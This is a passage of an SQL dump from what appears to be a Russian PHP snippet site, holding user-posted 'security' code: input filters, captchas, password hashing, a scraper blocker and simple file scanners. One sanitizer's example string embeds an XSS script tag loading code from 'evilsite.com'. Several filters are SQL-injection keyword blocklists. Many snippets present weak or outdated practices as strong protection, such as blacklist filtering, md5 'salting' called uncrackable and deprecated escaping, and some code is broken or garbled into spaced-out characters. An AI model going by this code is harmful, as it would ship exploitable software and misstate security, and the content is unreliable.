simplexml_load_string($content)-&gt;wallpaper[\'main_display_graphics\']; $image_resourse = $nth-&gt;extract(PCLZIP_OPT_BY_NAME,&quot;$teg&quot;,PCLZIP_OPT_EXTRACT_AS_STRING); $image_resourse = $image_resourse[0][\'content\']; header( &quot;Content-type:image/jpeg&quot; ); print $image_resourse; ?&gt;','files_5239_2500_',151),(305,19,'Интересный Код','Вывод случайной ссылки/картинки/чего либо если надо','&lt;? $array = array(\'&lt;a href=&quot;http://site.com&quot;&gt;LINK1&lt;/a&gt;\',\'&lt;a href=&quot;http://site2.com&quot;&gt;LINK2&lt;/a&gt;\',\'&lt;a href=&quot;http://site3.com&quot;&gt;LINK3&lt;/a&gt;\',\'&lt;a href=&quot;http://site4.com&quot;&gt;LINK4&lt;/a&gt;\');  echo $array[rand(0,3)]; ?&gt;  /// из текстового фала  &lt;?  $link=file(&quot;file.txt&quot;); $LinkCount=count($link); $NL=rand(0, $LinkCount-1);  echo $link[$NL];  ?&gt;','files_1441_2667_',151),(306,19,'Функция наложение картинки(копирайта)','Функция наложение картинки(копирайта)','&lt;?  function watermark($file, $watermark) {  if(empty($file) | empty($watermark)) return false;  $wh = getimagesize($watermark);  $fh = getimagesize($file);  $rwatermark = imagecreatefromjpeg($watermark); //Иногда может понадобиться наложить прозрачный png, тогда заменяем функцию на imagecreatefrompng  $rfile = imagecreatefromjpeg($file);  imagecopy($rfile, $rwatermark, $fh[0] - $wh[0], $fh[1] - $wh[1], 0, 0, $wh[0], $wh[1]);  imagejpeg($rfile, $file, \'70\'); // 70 - настройка качества финального изображения  imagedestroy($rwatermark);  imagedestroy($rfile);  return true;  }    ///Использование  watermark(\'image.jpeg\', \'copyright.jpeg\'); ///Что бы наложить копирайт .png картинкой смотрим первый комментарий  ?&gt;','files_3077_1340_',151),(308,18,'вариант фильтра GET POST','попроще вариант фильтра ниже.функция для $_POST\r\n\r\n\r\nfunction checkin($str)\r\n{\r\nif (function_exists(\'iconv\')) {\r\n$str = iconv(&quot;UTF-8&quot;, &quot;UTF-8&quot;, $str);\r\n}\r\n\r\n// Фильтруем невидимые символы\r\n$str = preg_replace(\'/[^P{C}n]+/u\', \'\', $str);\r\n\r\nreturn trim($str);\r\n}','foreach ($_GET as $check_url) {\r\nif (!is_string($check_url) || !preg_match(\'#^(?:[a-z0-9_-/]+|.+(?!/))*$#i\', $check_url)) {\r\necho \'Недопустимый запрос\';\r\n//header(\'ErrorDocument 403 /error.php\');\r\nexit;\r\n}\r\n}\r\nforeach ($_POST as $check_post) {\r\n$check_post = checkin($check_post);\r\n}','files_1996_5546_',151),(309,18,'Защита! Этот кусок кодa продавали за 300 Руб!','автоматом фильтрует все переменные $_POST и $_GET .\r\nпросто надо установить этот код в самый верх скрипта\r\nпосмотреть пример работы: http://вашсайт/test.php?tivibu=&lt;h1&gt;test\r\n\r\nкогда-то (примерно года 3 назад) , этот кусок кода продавали за 300 руб и больше.\r\nесли появились трудосты или не знаете как пользоваться, обращайтесь в Л.С - помогу','test.php:\r\n&lt;?\r\nforeach($_GET as $key=&gt;$value){\r\n$_GET[$key]=mysql_escape_string(stripcslashes(htmlspecialchars($value)));}\r\n\r\nforeach($_POST as $key=&gt;$value){\r\n$_POST[$key]=mysql_escape_string(stripcslashes(htmlspecialchars($value)));}\r\n\r\n\r\necho $_GET[\'tivibu\'];\r\n?&gt;','files_4845_1614_',151),(310,18,'Проверка записываемой информациив базу данных','Для того, чтобы обезопасить вашу базу\r\nданных от взлома, вы должны тщательно\r\nпроверять все данные, которые вы\r\nсобираетесь сохранить. Эта удобная функция\r\nпроверит сохраняемую информацию и не\r\nпозволит вставить вредоносный код в базу\r\nданных.','function cleanInput( $input ) {\r\n$search = array (\r\n\'@&lt;script[^&gt;]*?&gt;.*?&lt;/script&gt;@si\' ,\r\n// Удаляем javascript\r\n\'@&lt;;[/!]*?[^&lt;&gt;]*?&gt;@si\' ,\r\n// Удаляем HTML теги\r\n\'@&lt;style[^&gt;]*?&gt;.*?&lt;/style&gt;@siU\' ,\r\n// Удаляем теги style\r\n\'@&lt;![sS]*?--[ tnr]*&gt;@\'\r\n// Удаляем многострочные\r\nкомментарии\r\n) ;\r\n$output = preg_replace ($search ,\r\n\'\', $input ) ;\r\nreturn $output;\r\n}\r\nfunction sanitize( $input ) {\r\nif (is_array ( $input )) {\r\nforeach ( $input as $var =&gt;\r\n$val ) {\r\n$output [ $var ] = sanitize\r\n($val ) ;\r\n}\r\n}\r\nelse {\r\nif ( get_magic_quotes_gpc ())\r\n{\r\n$input = stripslashes\r\n($input ) ;\r\n}\r\n$input = cleanInput\r\n($input ) ;\r\n$output =\r\nmysql_real_escape_string ( $input ) ;\r\n}\r\nreturn $output;\r\n}\r\n// Использование:\r\n$bad_string = &quot;Привет! &lt;script\r\nsrc=\'http://www.evilsite.com/\r\nbad_script.js\'&gt;&lt;/script&gt; Какой\r\nхороший сегодня день!&quot;;\r\n$good_string = sanitize($bad_string ) ;\r\n// $good_string вернет &quot;Привет!\r\nКакой хороший сегодня день!&quot;\r\n// Также используйте для проверки\r\nPOST/GET данных\r\n$_POST = sanitize( $_POST );\r\n$_GET = sanitize( $_GET ) ;','files_2937_2998_',151),(311,18,'Фильтр нежелаемых GET и POST запросов','Данный PHP код должен быть подключен\r\nко всем файлам. При желании можно\r\nдоработать','foreach ( $_GET as $getstr ) {\r\nif (eregi( \'\' |&lt;|&gt;| char|union|select|bench|,|`\', $getstr )) {\r\nheader( &quot;Location: not_query.php&quot; );\r\nexit;\r\n}}\r\nforeach ( $_POST as $poststr ) {\r\nif (eregi( \'\' | char|union|select|bench|alert|`\', $poststr )) {\r\nheader( &quot;Location: not_query.php&quot; );\r\nexit;\r\n}}','files_2928_4233_',151),(312,18,'Надежная captcha.','Надежная и в то же время простая captcha на php.','&lt;?php\r\n// by Jahak\r\nsession_start();\r\n$md5_hash = md5(rand(0,99999));\r\n$security_code = substr($md5_hash, 25, 5);\r\n$enc = md5($security_code);\r\n$_SESSION[\'captcha\'] = $enc;\r\n\r\n$width = 150;\r\n$height = 30;\r\n\r\n$image = ImageCreate($width, $height);\r\n$white = ImageColorAllocate($image, 255, 255, 255);\r\n$black = ImageColorAllocate($image, 0, 0, 0);\r\n$grey = ImageColorAllocate($image, 200, 200, 200);\r\n\r\nImageFill($image, 0, 0, $white);\r\nImageString($image, 10, 5, 0, $security_code, $black);\r\n\r\nheader(&quot;Content-Type: image/png&quot;);\r\nImagePng($image);\r\nImageDestroy($image);\r\n\r\n?&gt;','files_4097_2948_',151),(313,18,'Защита от копирования!','Защита от копирования текста на сайте...','&lt;?php\r\n&lt;body\r\nonselectstart=&quot;return\r\nfalse&quot;\r\noncopy=&quot;return\r\nfalse&quot;&gt;&lt;body\r\nbgcolor=&quot;#FFFFFF&quot;\r\ntext=&quot;#000000&quot;\r\nonmousedown=&quot;javascript:if\r\n(event.button==2)\r\nalert\r\n(\'Копирование\r\nматериала\r\nзапрещено!\');&quot;\r\nonkeydown=&quot;alert\r\n(\'Копирование\r\n?&gt;','files_1346_1852_',151),(314,18,'Умная фильтрация чисел','Функция будет возращать 0 (Ноль), если в запросе имеется не целое число.\r\n\r\nОбрабите внимание, что функция intval и int работает лишь с определенным диапазоном чисел.','&lt;?php\r\n\r\n/**\r\n* @author Bykuznec\r\n* @copyright 2014\r\n*/\r\n\r\n// Фильтрация чисел\r\nfunction check_int($int = 0)\r\n{\r\nreturn ( ! preg_match( \'/^[0-9]+$/\', $int)) ? 0 : trim($int);\r\n}\r\n\r\n?&gt;','files_3065_3498_',151),(315,18,'Защита сайта от скачивания на PHP','Очень неприятно, когда в\r\nинтеренете появляются сайты,\r\nсделаные методом скачивания\r\nсодержимого с твоего, долгими\r\nтрудами созданного. Вот от таких\r\nнепорядочных людей и помогает этот скрипт. Запись запрещающей\r\nстроки в .htaccess осуществляется\r\nавтоматически. Скрипт вставляется\r\nв каждую страницу сайта с\r\nпомощью include. Описание\r\nнастроек скрипта: // error_reporting(0) После\r\nустановки и настройки скрипта\r\nкомментарий снять.\r\n$limit // Максимально допустимое\r\nколичество обращений к сайту с\r\nодного IP-адреса в минуту. $htaccess // Путь к файлу .htaccess\r\n$htstring // Комментарий к строке\r\nв файле .htaccess\r\n$dirfiles // Путь к папке с\r\nвременными файлами\r\n$logfiles // Имена временных файлов\r\n$excludes // Массив исключений с\r\nименами хостов, которым &quot;можно\r\nвсё&quot;','&lt; ? p h p / / e r r o r _ r e p o r t i n g ( 0 ) ; $ a d d r e s s = $ _ S E R V E R [ \' R E MO T E _ AD D R \' ] ; $ r e f = $ _ S E R V E R [ \' H T T P _ R E F E R E R \' ] ; $ u r l = u r l d e c o d e ( $ _ S E R V E R [ \' R E Q U E S T _ U R I \' ] ) ; $ l i m i t = 2 0 ; $ t i me n ow = t i me ( ) ; $ b r ows e r = $ _ S E R V E R [ \' H T T P _ U S E R _ AG E N T \' ] ; $ h t a c c e s s = $ _ S E R V E R [ \' D O C U M E N T _ R O O T \' ] . &quot; / . h t a c c e s s &quot; ; $ d i r f i l e s = $ _ S E R V E R [ \' D O C U M E N T _ R O O T \' ] . &quot; / a n t i r i p / l o g f i l e s / &quot; ; $ l o g f i l e s = &quot; $ d i r f i l e s &quot; . $ a d d r e s s ; $ h o s t n ame = g e t h o s t b y a d d r ( $ a d d r e s s ) ; $ d a t e t i me = d a t e ( &quot; Y - m - d H : i : s &quot; ) ; $ i p 1 = g e t e n v ( &quot; H T T P _ X _ F O RWAR D E D _ F O R &quot; ) ; $ i p 2 = g e t e n v ( &quot; R E MO T E _ AD D R &quot; ) ; $ h o s t i p 1 = g e t h o s t b y a d d r ( $ i p 1 ) ; $ h o s t i p 2 = g e t h o s t b y a d d r ( $ i p 2 ) ; i f ( $ i p 1 ! = $ i p 2 ) { $ h t s t r i n g = NU L L ; i f ( ! emp t y ( $ i p 1 ) ) { p r e g _ ma t c h _ a l l ( \' / [ 0 - 9 ] { 1 , 3 } . [ 0 - 9 ] { 1 , 3 } . [ 0 - 9 ] { 1 , 3 } . [ 0 - 9 ] { 1 , 3 } / \' , $ i p 1 , $ i p 1 ) ; $ i p 1 = a r r a y _ u n i q u e ( $ i p 1 [ 0 ] ) ; f o r e a c h ( $ i p 1 a s $ v ) { $ h t s t r i n g . = &quot; D e n y f r om &quot; . $ v . &quot; З а б л о к и р о в а н В н у т р е н н и й I P $ h o s t i p 1 r n &quot; ; } } i f ( ! emp t y ( $ i p 2 ) ) { $ h t s t r i n g . = &quot; D e n y f r om &quot; . $ i p 2 . &quot; З а б л о к и р о в а н I P P r o x y $ h o s t i p 2 r n &quot; ; } } e l s e { $ h t s t r i n g = &quot; D e n y f r om &quot; . $ a d d r e s s . &quot; З а б л о к и р о в а н В н ешн и й I P $ h o s t n ame r n &quot; ; } $ e x c l u d e s = a r r a y ( &quot; y a n d e x . r u &quot; , &quot; r amb l e r . r u &quot; , &quot; g o o g l e b o t . c om&quot; , &quot; we b a l t a b o t . c om&quot; , &quot; i n k t om i s e a r c h . c om&quot; , &quot; s e a r c h . l i v e . c om&quot; , ) ; i f ( $ o p e n d i r = o p e n d i r ( $ d i r f i l e s ) ) { wh i l e ( f a l s e ! = = ( $ l o g = r e a d d i r ( $ o p e n d i r ) ) ) { i f ( $ l o g ! = &quot; . &quot; a n d $ l o g ! = &quot; . . &quot; ) { $ t i me l o g = d a t e ( f i l em t i me ( &quot; $ d i r f i l e s &quot; . &quot; $ l o g &quot; ) ) ; i f ( $ t i me l o g &lt; ( $ t i me n ow - 6 0 ) ) { u n l i n k ( &quot; $ d i r f i l e s &quot; . &quot; $ l o g &quot; ) ; } } } } f o r e a c h ( $ e x c l u d e s a s $ v ) { i f ( p r e g _ ma t c h ( \' / \' . $ v . \' / \' , $ h o s t n ame ) ) { e x i t ; } } i f ( ! f i l e _ e x i s t s ( $ l o g f i l e s ) ) { f o p e n ( $ l o g f i l e s , &quot; w+ &quot; ) ; } $w r i t e = &quot; $ d a t e t i me - $ h o s t n ame B r ows e r : $ b r ows e r R e f e r e r : $ r e f U R L : $ u r l r n &quot; ; i f ( $ l o g f i l e s ) { i f ( i s _ w r i t a b l e ( $ l o g f i l e s ) ) { i f ( ! $ h a n d l e = f o p e n ( $ l o g f i l e s , \' a \' ) ) { e x i t ; } i f ( f w r i t e ( $ h a n d l e , $w r i t e ) = = = F A L S E ) { e x i t ; } f c l o s e ( $ h a n d l e ) ; } } i f ( ( c o u n t ( f i l e ( $ l o g f i l e s ) ) &gt; $ l i m i t ) a n d ( $ t i me l o g &gt; ( $ t i me n ow - 6 0 ) ) ) { i f ( $ h t a c c e s s ) { f o r e a c h ( f i l e ( $ h t a c c e s s ) a s $ h ) { i f ( $ h = = = $ h t s t r i n g ) { e x i t ; } } i f ( i s _ w r i t a b l e ( $ h t a c c e s s ) ) { i f ( ! $ h a n d l e = f o p e n ( $ h t a c c e s s , \' a \' ) ) { e x i t ; } i f ( f w r i t e ( $ h a n d l e , $ h t s t r i n g ) = = = F A L S E ) { e x i t ; } f c l o s e ( $ h a n d l e ) ; } } } ? &gt;','files_2628_4721_',151),(316,18,'функция защиты XSS','функция защиты XSS','function antihack (&amp; $var ){\r\nif( is_array ( $var )) array_walk ($var , \'antihack\' );\r\nelse $var = htmlspecialchars (stripslashes ( mysql_real_escape_string ( $var )), ENT_Q\r\n}\r\nforeach(array( \'_SERVER\' , \'_GET\' , \'_POST\' , \'_COOKIE\' , \'_REQUEST\' ) as $v ){\r\nif(!empty(${ $v })) array_walk (${ $v }, \'antihack\' );\r\n}','files_3436_3999_',151),(317,18,'Солим пароли','Добавляем соль в пароли, что бы не декодировали md5.','&lt;?php\r\n$pass = \'password\';\r\n$md = md5($pass);\r\n$salt = uniqid(rand(),1);\r\n$md = md5($md.$salt);\r\n//echo $md;\r\n\r\n//Проверяем пароли.\r\nif(md5(md5(\'password\').$salt)==$md){\r\necho \'Пароль верен\';\r\n} else {\r\necho \'Пароль не верен\';\r\n}\r\n?&gt;','files_2190_3804_',151),(318,18,'Блокировка файлов от записи на PHP','Блокировка файлов от записи на PHP.\r\nПри частых обращениях к файлам (для чтения или записи) может возникнуть такая ситуация, когда один процесс осуществляет запись в файл, а второй в это же время считывает данные из файла. Еще хуже, если данные считываются из файла, обрабатываются и обратно записываются. Таким образом, если не ставить блокировку на файлы на время их обработки, может возникнуть ситуация, при которой данные будут одновременно обрабатываться несколькими и процессами и могут быть искажены или потеряны.\r\n\r\nДля блокировки и разблокировки файлов мы рекомендуем Вам использовать стандартную функцию PHP flock() с флагами LOCK_EX и LOCK_UN. Флаг LOCK_EX используется для эксклюзивной блокировки файла (т.е. доступ к файлу будет доступен только процессу, поставившему блокировку), а LOCK_UN - для снятия блокировки с файла.','&lt;?php\r\n$fh=fopen(&quot;file.txt&quot;, &quot;a+&quot;); //открываем для чтения/записи\r\nflock($fh, LOCK_EX); //блокируем файл\r\nfseek($fh, 0); //ставим указатель на начало файла\r\nwhile (!feof($fh)) $line. = fread($fh,2048); //считываем из файла\r\n\r\n//здесь производим обработку считанных данных\r\n\r\nftruncate($fh, 0); //очищаем файл\r\nfwrite($fh, $Res_$line); //записываем в файл\r\nflock($fh, LOCK_UN); //снимаем блокировку\r\nfclose($fh); //закрываем файл\r\n?&gt;','files_2944_2965_',151),(319,18,'Хороший фильтр','Отличный фильтр, проверяем на всю идущую к нам &quot;каку&quot;. Используем функцию check_all();','function check_all($var)\r\n{\r\n\r\n$var = trim($var);\r\n$var = mysql_real_escape_string($var);\r\n$var = htmlspecialchars($var, ENT_QUOTES, \'UTF-8\');\r\n$var = nl2br($var);\r\n$var = strtr($var, array(\r\nchr(0)=&gt; \'\',\r\nchr(1)=&gt; \'\',\r\nchr(2)=&gt; \'\',\r\nchr(3)=&gt; \'\',\r\nchr(4)=&gt; \'\',\r\nchr(5)=&gt; \'\',\r\nchr(6)=&gt; \'\',\r\nchr(7)=&gt; \'\',\r\nchr(8)=&gt; \'\',\r\nchr(9)=&gt; \'\',\r\nchr(10)=&gt; \'\',\r\nchr(11)=&gt; \'\',\r\nchr(12)=&gt; \'\',\r\nchr(13)=&gt; \'\',\r\nchr(14)=&gt; \'\',\r\nchr(15)=&gt; \'\',\r\nchr(16)=&gt; \'\',\r\nchr(17)=&gt; \'\',\r\nchr(18)=&gt; \'\',\r\nchr(19)=&gt; \'\',\r\nchr(20)=&gt; \'\',\r\nchr(21)=&gt; \'\',\r\nchr(22)=&gt; \'\',\r\nchr(23)=&gt; \'\',\r\nchr(24)=&gt; \'\',\r\nchr(25)=&gt; \'\',\r\nchr(26)=&gt; \'\',\r\nchr(27)=&gt; \'\',\r\nchr(28)=&gt; \'\',\r\nchr(29)=&gt; \'\',\r\nchr(30)=&gt; \'\',\r\nchr(31)=&gt; \'\'\r\n));\r\n\r\n$var = str_replace(&quot;\\00&quot;, &quot;&quot;, $var);\r\n$var = str_replace(\'\\\\\', \'&amp;#92;\', $var);\r\n$var = str_replace(\'\\\'\', \'&amp;#39;\', $var);\r\n$var = str_replace(\'$\', \'$$\', $var);\r\n$var = addcslashes($var, \'_%\');\r\n$var = iconv(\'utf-8\', \'windows-1251\', $var);\r\n$var = iconv(\'windows-1251\', \'utf-8\', $var);\r\nreturn $var;\r\n}','files_2701_1639_',151),(320,18,'Антивирус на PHP','Антивирус на PHP','&lt;?\r\n// Заваливаем массив списком нужных нам директорий\r\n$dir = array(&quot;./dir/&quot;);\r\n// Расширение для сортировки\r\n$extentions = array(&quot;.php&quot;);\r\n// масссив из безопасных php-файлов файлов\r\n$safe_files = array(&quot;index.php&quot;,&quot;shell.php&quot;);\r\n// Каждый элемент массива - как отдельную директорию\r\nforeach ($dir as $get_dir) {\r\n// Открываем хэндл директории\r\n$dir_handle = opendir($get_dir);\r\n// Получаем данные из директории\r\nwhile ( false !== ($file = readdir($dir_handle)) ) {\r\n// Находим файлы с расширением пэхопэ\r\n$ext = strtolower(strrchr($file, &quot;.&quot;));\r\n// Отсортируем все .php файлы\r\nif ( in_array($ext, $extentions) ) {\r\n// Собираем новый массив из php-файлов\r\n$php_files[] = $file;\r\n}\r\n}\r\n}\r\n?&gt;','files_4216_1517_',151),(321,18,'Проверка на ввод url адреса','Простейшая регулярка на ввод адреса.','function isValidURL($url)\r\n{\r\nreturn preg_match(\'|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i\', $url);\r\n}','files_4558_2085_',151),(322,18,'Проверка хоста','используется функция checkdnsrr, если ее нет (винда), то юзаем виндовскую nslookup','&lt;?php\r\n/**\r\n* Проверка хоста\r\n* автор: Nc_Soft\r\n* 12.11.08\r\n*/\r\n\r\n//используется функция checkdnsrr, если ее нет (винда), то юзаем виндовскую nslookup\r\nif(!function_exists(\'checkdnsrr\')){\r\nfunction checkdnsrr($host, $type=\'\'){\r\nif(!empty($host)){\r\n$type = (empty($type)) ? \'MX\' : $type;\r\nexec(\'nslookup -type=\'.$type.\' \'.escapeshellcmd($host), $result);\r\n$it = new ArrayIterator($result);\r\nforeach(new RegexIterator($it, \'~^\'.$host.\'~\', RegexIterator::GET_MATCH) as $result){\r\nif($result){\r\nreturn true;\r\n}\r\n}\r\n}\r\nreturn false;\r\n}\r\n}\r\n\r\n//проверим адрес\r\n$url=\'http://wen.ru/forum\';\r\n\r\nif (checkdnsrr(parse_url($url,PHP_URL_HOST)))\r\n{\r\necho \'хост верен\';\r\n}\r\nelse\r\n{\r\necho \'хост неверен\';\r\n}\r\n\r\n//проверим кривой адрес\r\n$url=\'http://gfghhrwen.ru/forum\';\r\n\r\nif (checkdnsrr(parse_url($url,PHP_URL_HOST)))\r\n{\r\necho \'хост верен\';\r\n}\r\nelse\r\n{\r\necho \'хост неверен\';\r\n}\r\n\r\n\r\n?&gt;','files_5542_3439_',151),(323,18,'Защитный код (captcha)','Юзаю уже месяц, без нареканий.\r\nПример использования\r\n\r\nВывод рисунка, формы ввода:\r\n&lt;img src=&quot;captcha.php&quot; alt=&quot;Защитный код&quot; /&gt;&lt;input type=&quot;text&quot; name=&quot;code&quot; size=&quot;4&quot; /&gt;\r\n\r\nпроверка:\r\n\r\nif($_POST[\'code\']!=$_SESSION[\'code\'] or empty($_POST[\'code\'])){\r\necho \'Неправильно введен проверочный код!\';\r\nexit;\r\n}\r\n\r\n...\r\nТак же, в начале страницы, после &lt;?php, где будет использоваться капча, необходимо стартовать сессию:\r\nsession_name(\'sid\');\r\nsession_start();\r\n\r\n....\r\nКод файла captcha.php ниже','&lt;?php\r\n$width = 70; //Ширина изображения\r\n$height = 25; //Высота изображения\r\n$font_size = 8; //Размер шрифта\r\n$let_amount = 4; //Количество символов, которые нужно набрать\r\n$fon_let_amount = 15; //Количество символов, которые находятся на фоне\r\n$path_fonts = \'design/fonts/\'; //Путь к шрифтам\r\n\r\n\r\n$letters = array(\'0\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'9\');\r\n$colors = array(\'10\',\'30\',\'50\',\'70\',\'90\',\'110\',\'130\',\'150\',\'170\',\'190\',\'210\');\r\n\r\n$src = imagecreatetruecolor($width,$height);\r\n$fon = imagecolorallocate($src,255,255,255);\r\n\r\nimagefill($src, 0, 0, $fon);\r\n\r\n$fonts = array();\r\n$dir=opendir($path_fonts);\r\n\r\nwhile($fontName = readdir($dir)) {\r\n\r\nif($fontName != &quot;.&quot; &amp;&amp; $fontName != &quot;..&quot;) {\r\n$fonts[] = $fontName;\r\n}\r\n\r\n}\r\n\r\nclosedir($dir);\r\n\r\nfor($i=0; $i&lt;$fon_let_amount; $i++) {\r\n\r\n$color = imagecolorallocatealpha($src,rand(0,255),rand(0,255),rand(0,255),100);\r\n$font = $path_fonts.$fonts[rand(0,sizeof($fonts)-1)];\r\n$letter = $letters[rand(0,sizeof($letters)-1)];\r\n$size = rand($font_size-2,$font_size+2);\r\nimagettftext($src, $size, rand(0, 45), rand($width * 0.1, $width - $width * 0.1), rand($height * 0.2, $height), $color, $font, $letter);\r\n\r\n}\r\n\r\nfor($i=0; $i&lt;$let_amount; $i++) {\r\n\r\n$color = imagecolorallocatealpha($src,$colors[rand(0,sizeof($colors)-1)],$colors[rand(0,sizeof($colors)-1)],$colors[rand(0,sizeof($colors)-1)],rand(20,40));\r\n$font = $path_fonts.$fonts[rand(0,sizeof($fonts)-1)];\r\n$letter = $letters[rand(0,sizeof($letters)-1)];\r\n$size = rand($font_size*2.1-2,$font_size*2.1+2);\r\n$x = ($i+1)*$font_size + rand(4,7);\r\n$y = (($height*2)/3) + rand(0,5);\r\n$cod[] = $letter;\r\nimagettftext($src,$size,rand(0,15),$x,$y,$color,$font,$letter);\r\n\r\n}\r\n// запуск сессий\r\nsession_name(\'sid\');\r\nsession_start();\r\n\r\n$_SESSION[\'code\'] = implode(\'\', $cod);\r\n\r\nheader (&quot;Content-type: image/gif&quot;);\r\nimagegif($src);\r\n\r\n?&gt;','files_2778_2706_',151),(324,18,'Хэширование &quot;с солью&quot;','И подобрать нельзя','&lt;?php\r\nfunction pass_filter($var)\r\n\r\n{\r\nreturn md5(md5(base64_encode($var).\'Securiti\'));\r\n}\r\n?&gt;\r\nПример использования:\r\n&lt;?php\r\npass_filter(\'Mark\');\r\n?&gt;\r\nрезультат: 9ccab83ca0a340767275d7220f5d791e\r\n\r\nВАЖНО, СЛОВО Securiti МЕНЯЙТЕ НА СВОЕ.\r\n*/','files_3902_1354_',151),(326,18,'Идеальная защита','Представляю вашему вниманию идеальную защиту $_GET,$_POST,$_COOKIE,$_SESSION переменных, т.е всех глобальных переменных вашего сайта..\r\n\r\nВсё гениальное просто, не засирайте ваши коды горами функции типа $a = check($_GET[\'a\']); $b = check($_POST[\'a\']); и т.п..','// В примере с GET я всё распишу, дальше будет ясно я так думаю =)\r\n\r\n// GET\r\nforeach($_GET as $key =&gt; $value) {\r\n\r\nif(is_numeric($value)) {\r\n// фильтруем если цифра или число\r\n\r\n// (int) - возводим в целое\r\n// abs -не даем уйти в минус\r\n$value = (int) abs($value);\r\n\r\n} else {\r\n\r\n// фильтруем если текст\r\n\r\n// htmlspecialchars - преобразуем html символы в спецсимволы (защита от XSS)\r\n$value = htmlspecialchars($value);\r\n\r\n// удаляем \', &quot;, % (защита от SQLinj)\r\n$value = str_replace(array(\'\\\'\',\'&quot;\',\'%\'),NULL,$value);\r\n\r\n// удаляем точки (защита от PHPinj)\r\n// ^ если нужно оставляем\r\n$value = str_replace(\'.\',NULL,$value);\r\n\r\n}\r\n\r\n$_GET[$key] = $value;\r\n\r\n}\r\n\r\n// POST\r\nforeach($_POST as $key =&gt; $value) {\r\n\r\nif(is_numeric($value)) {\r\n\r\n$value = (int) abs($value);\r\n\r\n} else {\r\n\r\n$value = htmlspecialchars($value);\r\n$value = str_replace(array(\'\\\'\',\'&quot;\',\'%\'),NULL,$value);\r\n\r\n$value = str_replace(\'.\',NULL,$value);\r\n\r\n}\r\n\r\n$_POST[$key] = $value;\r\n\r\n}\r\n\r\n// COOKIE\r\nforeach($_COOKIE as $key =&gt; $value) {\r\n\r\nif(is_numeric($value)) {\r\n\r\n$value = (int) abs($value);\r\n\r\n} else {\r\n\r\n$value = htmlspecialchars($value);\r\n$value = str_replace(array(\'\\\'\',\'&quot;\',\'%\'),NULL,$value);\r\n\r\n}\r\n\r\n$_COOKIE[$key] = $value;\r\n\r\n}\r\n\r\n// SESSONS\r\n// для тех кто в танке, чтобы фильтр исправно работал нужно стартануть сессии (session_start();)\r\nforeach($_SESSION as $key =&gt; $value) {\r\n\r\nif(is_numeric($value)) {\r\n\r\n$value = (int) abs($value);\r\n\r\n} else {\r\n\r\n$value = htmlspecialchars($value);\r\n$value = str_replace(array(\'\\\'\',\'&quot;\',\'%\'),NULL,$value);\r\n\r\n}\r\n\r\n$_SESSION[$key] = $value;\r\n\r\n}','files_5332_2766_',151),(327,18,'антивирус на пхп','антивирус на пхп','&lt;? // Заваливаем массив списком\r\nнужных нам директорий $dir = array(&quot;./dir/&quot;); // Расширение для сортировки $extentions = array(&quot;.php&quot;); // масссив из безопасных php-\r\nфайлов файлов $safe_files = array (&quot;index.php&quot;,&quot;shell.php&quot;); // Каждый элемент массива - как\r\nотдельную директорию foreach ($dir as $get_dir) { // Открываем хэндл директории $dir_handle = opendir($get_dir); // Получаем данные из директории while ( false !== ($file = readdir ($dir_handle)) ) { // Находим файлы с расширением\r\nпэхопэ $ext = strtolower(strrchr($file, &quot;.&quot;)); // Отсортируем все .php файлы if ( in_array($ext, $extentions) ) { // Собираем новый массив из php-\r\nфайлов $php_files[] = $file; }\r\n}\r\n} ?&gt;','files_4526_3062_',151),(328,18,'Автоматический поиск уязвимостей в скрипте','Автоматический поиск уязвимостей в скрипте','&lt;?php\r\n/* findrisk.php\r\n*/\r\nset_time_limit (0 );\r\nini_set ( &quot;set_time_limit&quot; , 0);\r\nini_set ( &quot;memory_limit&quot; ,\r\n&quot;128M&quot; );\r\nfunction _readdir ( $d ,&amp; $files )\r\n{\r\nglobal $opendir ;\r\n$dir = opendir ( $d );\r\nwhile ( $file = readdir\r\n( $dir ))\r\n{\r\nif (( $file != &quot;.&quot; ) &amp;&amp; ( $file\r\n!= &quot;..&quot; ))\r\n{\r\n$opendir = $d .&quot;/&quot; . $file ;\r\nif( filetype ( $opendir )== &quot;dir&quot; )\r\n{\r\n_readdir ( $opendir ,&amp; $files );\r\n}\r\nelse\r\n{\r\n$files [] = $opendir ;\r\n}\r\n}\r\n}\r\nclosedir ( $dir );\r\n}\r\n_readdir ( &quot;.&quot; ,&amp; $files );\r\n$exp = array(\r\n\'file_put_contentss*(\' ,\r\n\'fwrites*(\' ,\r\n\'fputs*(\' ,\r\n\'evals*(\' ,\r\n\'systems*(\' ,\r\n\'&lt;frame[^&gt;] \' ,\r\n\'&lt;iframe[^&gt;] \'\r\n);\r\n$regexp = \'/.{15}b(\' . implode\r\n( $exp , &quot;|&quot; ). \')b.{15}/Uis\' ;\r\nforeach ( $files as $index )\r\n{\r\n$content = file_get_contents\r\n( $index );\r\nif( preg_match_all ($regexp ,\r\n$content , $match ))\r\n{\r\n//print_r($match);\r\necho &quot;&lt;b&gt;&quot; . $index .&quot;&lt;/b&gt;&quot; ;\r\nfor( $j = 0; $j &lt; count ( $match\r\n[ 0 ]); $j )\r\n{\r\n$match [ 0 ][ $j ] =\r\nhtmlspecialchars ($match [ 0 ]\r\n[ $j ]);\r\n$match [ 1 ][ $j ] =\r\nhtmlspecialchars ($match [ 1 ]\r\n[ $j ]);\r\n$text = str_replace ( $match [1 ]\r\n[ $j ], &quot;&lt;font color=\r\n\\&quot; #FF0000\\&quot;&gt;&lt;b&gt;&quot;.$match[1]\r\n[$j].&quot;&lt;/b&gt;&lt;/font&gt;&quot;,\r\nhtmlspecialchars($match[0]\r\n[$j]));\r\necho &quot;&lt;br&gt;&quot;. $text ;\r\n}\r\necho &quot;&lt;br&gt;&lt;br&gt;&quot; ;\r\n}\r\n}\r\n?&gt;','files_4319_1634_',151),(329,18,'антивирусс','Антивирус на php','&lt;?\r\n// Заваливаем массив списком\r\nнужных нам директорий\r\n$dir = array( &quot;./dir/&quot; );\r\n// Расширение для сортировки\r\n$extentions = array\r\n( &quot;.php&quot; );\r\n// масссив из безопасных\r\nphp-файлов файлов\r\n$safe_files = array\r\n( &quot;index.php&quot; , &quot;shell.php&quot; );\r\n// Каждый элемент массива -\r\nкак отдельную директорию\r\nforeach ( $dir as $get_dir )\r\n{\r\n// Открываем хэндл\r\nдиректории\r\n$dir_handle = opendir\r\n( $get_dir );\r\n// Получаем данные из\r\nдиректории\r\nwhile ( false !== ( $file =\r\nreaddir( $dir_handle )) ) {\r\n// Находим файлы с\r\nрасширением пэхопэ\r\n$ext = strtolower (strrchr\r\n( 